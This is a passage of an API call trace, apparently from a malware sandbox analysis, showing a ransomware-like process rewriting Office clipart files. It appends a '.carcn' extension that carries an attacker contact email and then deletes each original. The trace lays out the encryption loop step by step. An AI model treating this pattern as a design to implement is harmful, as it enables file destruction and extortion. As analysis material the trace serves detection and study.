(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.640] lstrlenW (lpString=".ppt") returned 4 [0277.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.640] lstrlenW (lpString=".zip") returned 4 [0277.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.640] lstrlenW (lpString=".rar") returned 4 [0277.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.640] lstrlenW (lpString=".bz2") returned 4 [0277.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.640] lstrlenW (lpString=".7z") returned 3 [0277.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.640] lstrlenW (lpString=".dbf") returned 4 [0277.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.640] lstrlenW (lpString=".1cd") returned 4 [0277.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.640] lstrlenW (lpString=".jpg") returned 4 [0277.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.641] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.641] lstrlenW (lpString="DD01176_.WMF") returned 12 [0277.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0277.642] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1888) returned 1 [0277.642] CloseHandle (hObject=0x4ac) returned 1 [0277.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0277.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0277.643] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.643] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0277.644] GetLastError () returned 0x0 [0277.644] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x760, lpOverlapped=0x0) returned 1 [0277.663] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x770, lpOverlapped=0x0) returned 1 [0277.665] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.665] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.665] SetEndOfFile (hFile=0x524) returned 1 [0277.665] CloseHandle (hObject=0x524) returned 1 [0277.665] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.665] SetEndOfFile (hFile=0x4ac) returned 1 [0277.668] CloseHandle (hObject=0x4ac) returned 1 [0277.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0277.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.670] lstrlenW (lpString=".doc") returned 4 [0277.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.670] lstrlenW (lpString=".docx") returned 5 [0277.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.670] lstrlenW (lpString=".pdf") returned 4 [0277.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.670] lstrlenW (lpString=".xls") returned 4 [0277.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.670] lstrlenW (lpString=".xlsx") returned 5 [0277.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.670] lstrlenW (lpString=".ppt") returned 4 [0277.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.670] lstrlenW (lpString=".zip") returned 4 [0277.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.670] lstrlenW (lpString=".rar") returned 4 [0277.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.670] lstrlenW (lpString=".bz2") returned 4 [0277.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.671] lstrlenW (lpString=".7z") returned 3 [0277.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.671] lstrlenW (lpString=".dbf") returned 4 [0277.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.671] lstrlenW (lpString=".1cd") returned 4 [0277.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.671] lstrlenW (lpString=".jpg") returned 4 [0277.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.671] lstrlenW (lpString=".doc") returned 4 [0277.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.671] lstrlenW (lpString=".docx") returned 5 [0277.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.671] lstrlenW (lpString=".pdf") returned 4 [0277.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.671] lstrlenW (lpString=".xls") returned 4 [0277.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.671] lstrlenW (lpString=".xlsx") returned 5 [0277.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.671] lstrlenW (lpString=".ppt") returned 4 [0277.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.672] lstrlenW (lpString=".zip") returned 4 [0277.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.672] lstrlenW (lpString=".rar") returned 4 [0277.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.672] lstrlenW (lpString=".bz2") returned 4 [0277.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.672] lstrlenW (lpString=".7z") returned 3 [0277.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.672] lstrlenW (lpString=".dbf") returned 4 [0277.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.672] lstrlenW (lpString=".1cd") returned 4 [0277.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0277.672] lstrlenW (lpString=".jpg") returned 4 [0277.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.672] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.672] lstrlenW (lpString="DD01179_.WMF") returned 12 [0277.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0277.673] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2024) returned 1 [0277.673] CloseHandle (hObject=0x4ac) returned 1 [0277.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0277.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0277.674] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.674] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0277.675] GetLastError () returned 0x0 [0277.675] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0277.696] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0277.697] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.697] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.697] SetEndOfFile (hFile=0x524) returned 1 [0277.697] CloseHandle (hObject=0x524) returned 1 [0277.698] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.698] SetEndOfFile (hFile=0x4ac) returned 1 [0278.170] CloseHandle (hObject=0x4ac) returned 1 [0278.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0278.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.172] lstrlenW (lpString=".doc") returned 4 [0278.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.172] lstrlenW (lpString=".docx") returned 5 [0278.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.172] lstrlenW (lpString=".pdf") returned 4 [0278.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.172] lstrlenW (lpString=".xls") returned 4 [0278.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.172] lstrlenW (lpString=".xlsx") returned 5 [0278.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.172] lstrlenW (lpString=".ppt") returned 4 [0278.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.172] lstrlenW (lpString=".zip") returned 4 [0278.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.172] lstrlenW (lpString=".rar") returned 4 [0278.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.173] lstrlenW (lpString=".bz2") returned 4 [0278.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.173] lstrlenW (lpString=".7z") returned 3 [0278.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.173] lstrlenW (lpString=".dbf") returned 4 [0278.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.173] lstrlenW (lpString=".1cd") returned 4 [0278.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.173] lstrlenW (lpString=".jpg") returned 4 [0278.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.173] lstrlenW (lpString=".doc") returned 4 [0278.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.174] lstrlenW (lpString=".docx") returned 5 [0278.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.174] lstrlenW (lpString=".pdf") returned 4 [0278.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.174] lstrlenW (lpString=".xls") returned 4 [0278.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.174] lstrlenW (lpString=".xlsx") returned 5 [0278.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.174] lstrlenW (lpString=".ppt") returned 4 [0278.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.175] lstrlenW (lpString=".zip") returned 4 [0278.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.175] lstrlenW (lpString=".rar") returned 4 [0278.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.175] lstrlenW (lpString=".bz2") returned 4 [0278.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.175] lstrlenW (lpString=".7z") returned 3 [0278.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.175] lstrlenW (lpString=".dbf") returned 4 [0278.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.175] lstrlenW (lpString=".1cd") returned 4 [0278.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0278.175] lstrlenW (lpString=".jpg") returned 4 [0278.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.176] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.176] lstrlenW (lpString="DD01629_.WMF") returned 12 [0278.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.179] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=580) returned 1 [0278.179] CloseHandle (hObject=0x4ac) returned 1 [0278.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0278.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.180] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.181] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.182] GetLastError () returned 0x0 [0278.182] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x244, lpOverlapped=0x0) returned 1 [0278.183] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x250, lpOverlapped=0x0) returned 1 [0278.185] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.185] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.185] SetEndOfFile (hFile=0x538) returned 1 [0278.186] CloseHandle (hObject=0x538) returned 1 [0278.186] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.186] SetEndOfFile (hFile=0x4ac) returned 1 [0278.227] CloseHandle (hObject=0x4ac) returned 1 [0278.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0278.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.229] lstrlenW (lpString=".doc") returned 4 [0278.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.229] lstrlenW (lpString=".docx") returned 5 [0278.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.229] lstrlenW (lpString=".pdf") returned 4 [0278.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.229] lstrlenW (lpString=".xls") returned 4 [0278.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.229] lstrlenW (lpString=".xlsx") returned 5 [0278.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.229] lstrlenW (lpString=".ppt") returned 4 [0278.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.230] lstrlenW (lpString=".zip") returned 4 [0278.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.230] lstrlenW (lpString=".rar") returned 4 [0278.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.230] lstrlenW (lpString=".bz2") returned 4 [0278.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.230] lstrlenW (lpString=".7z") returned 3 [0278.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.230] lstrlenW (lpString=".dbf") returned 4 [0278.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.230] lstrlenW (lpString=".1cd") returned 4 [0278.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.231] lstrlenW (lpString=".jpg") returned 4 [0278.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.231] lstrlenW (lpString=".doc") returned 4 [0278.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.231] lstrlenW (lpString=".docx") returned 5 [0278.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.231] lstrlenW (lpString=".pdf") returned 4 [0278.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.231] lstrlenW (lpString=".xls") returned 4 [0278.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.231] lstrlenW (lpString=".xlsx") returned 5 [0278.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.231] lstrlenW (lpString=".ppt") returned 4 [0278.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.231] lstrlenW (lpString=".zip") 